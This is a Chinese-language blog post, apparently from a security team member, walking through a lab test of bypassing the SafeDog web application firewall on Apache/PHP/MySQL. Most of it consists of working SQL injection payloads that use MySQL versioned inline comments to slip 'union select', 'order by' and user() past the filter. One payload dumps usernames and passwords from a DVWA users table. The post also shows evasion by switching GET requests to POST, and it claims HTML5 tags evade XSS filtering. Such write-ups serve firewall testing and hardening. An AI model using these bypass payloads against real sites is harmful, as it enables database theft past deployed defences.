本文是团队成员N0b1e6的原创技术文章!
正文开始-------------------------------------------------
本期分享最新的 bypass安全狗 技术
环境配置
安全狗apache版,网马版本2020-02-19
windows2008
apache2.4 + php5.4 + mysql 5.5.53
测试脚本
SQL注入:https://github.com/GEIGEI123/TestScript/blob/master/sqltest.php
XSS:https://github.com/GEIGEI123/TestScript/blob/master/xsstest.php
先搭建测试脚本,此处使用网上大佬的脚本,里面利用了dvwa的数据库,需要提前安装dvwa
搭建成功后如下图
显示了查询结果和查询语句方便分析
开启安全狗后测试恶意paylaod,出现拦截(熟悉的画面~~)
先测试下简单的and,or注入,发现仅当出现特定关键词组合时才会拦截
id=1′ or ‘1 (不拦)
id=1′ or ‘1’=’1 (拦)
进入正式的bypass环节
此处还是利用mysql内联注释bypass安全狗,但是比较诡异的是内联注释的软件版本号处有点学问在里面,本人太菜,有大佬可以科普科普
此处版本号不同体现的差异性在后续测试中也有存在,有大佬有研究的可以指点指点
order by
/*!14441order by*/
union select
两个关键词需要分开注释,否则会过滤
/*!14441union*//*!14441select*/
在爆字段时费了点脑筋,安全狗过滤了user(),database()等关键词,最后发现需要对()进行注释
user/*!14440()*/
直接user()会被拦截
安全狗对于mysql中的函数过滤很有限,接下来可以直接爆数据
/*!14441union*//*!14441select*/group_concat(user), group_concat(password) from users– +
实际上,安全狗对于post参数过滤的很有限,在我开启了全部的安全策略后,仍然可以绕过
可以利用burpsuite的改变提交方式的功能,将GET请求变为POST请求
GET请求被安全狗拦截
修改请求方式
改为POST后成功绕过
也有可能我环境搭建的有问题,安全狗对POST请求的拦截几乎为0,但是不重要,在bypass云锁篇中会介绍一种手段,通杀post请求,23333
总结来说,安全狗对于xss的防护效果一般,在高级别默认配置下,大多数HTML5的新标签都可以绕过
下期分享bypass 云锁